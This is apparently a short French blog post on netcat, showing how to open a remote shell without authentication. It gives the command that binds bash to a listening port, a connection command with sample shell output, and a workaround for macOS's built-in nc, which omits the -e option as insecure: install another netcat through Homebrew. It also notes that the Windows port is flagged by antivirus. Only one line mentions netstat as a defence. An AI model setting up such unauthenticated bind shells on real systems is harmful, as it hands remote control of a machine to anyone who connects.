Remote shell avec netcat (multi OS)

Aujourd'hui, présentation d'une petite astuce avec netcat, un des outils réseaux qui a certainement un ratio nombre d'octets/fonctionnalités parmi les plus élevés dans le monde du logiciel libre.

En quelques mots, comment ouvrir un accès sur une machine afin de récupérer un shell de manière distante sans passer par des mécanismes d'authentification ?

Tout simplement grâce à l'option -e qui permet d'envoyer l'entrée à un programme et dans ce cas, à bash :

$ netcat -l -p 6666 -e /bin/bash

Et si vous vous connectez à ce poste avec une ligne de commande telle que :

$ netcat 127.0.0.1 6666

Vous obtenez un accès au shell :

uptime
11:26  up 19:51, 3 users, load averages: 0,46 0,41 0,40
ls /tmp
006fb4dc3fddd
adb.log
icssuis501
launch-E5vsgK
launch-ZMjtj4
launch-eeBhJ7
launchd-173.krC00r

Inutile de vous dire a quoi peut servir ce genre d'astuce, et quelles peuvent en être les conséquences.

Heureusement, si vous suspectez quelque chose dans ce genre, vous pouvez utiliser netstat pour lister vos connexions en attente et acceptées, et avoir une chance de vous protéger contre ce problème.

Le cas Apple

MacOsX a une version embarquée de netcat (sous l'alias nc), mais on ne peut pas utiliser l'option -e avec.

$ nc -l -p 6666 -e /bin/bash
nc: illegal option -- e
usage: nc [-46DdhklnrtUuvz] [-i interval] [-p source_port]
 [-s source_ip_address] [-w timeout] [-X proxy_version]
 [-x proxy_address[:port]] [hostname] [port[s]]

Le problème vient de la version de netcat qui est utilisée dans l'OS (on peut voir les logiciels utilisés dans OSX sur la section Open Source du site Apple). Si on regarde la source de netcat, on constate que la version ne supporte pas l'option shell distant, car elle est considérée comme non sécurisée.

La solution est donc d'installer une autre version, en passant par Homebrew par exemple :

$ brew install netcat

Merci aux StackOverflowiens Apple pour m'avoir orienté dans la bonne direction.

Le cas Windows

Il existe aussi une version de netcat développée pour Windows. Elle est souvent détectée comme un malware par les antivirus (on peut se demander pourquoi :) )

Plus de détails sur SecurityFocus.

Autres utilisations de netcat

Connaissez vous d'autres utilisations sympathiques de netcat ? Je pense qu'il y a beaucoup de possibilité avec cet outil.

Par exemple, cette page recense quelques exemples qui peuvent être utiles.

Vus : 4289
Publié par Romain Bochet : 29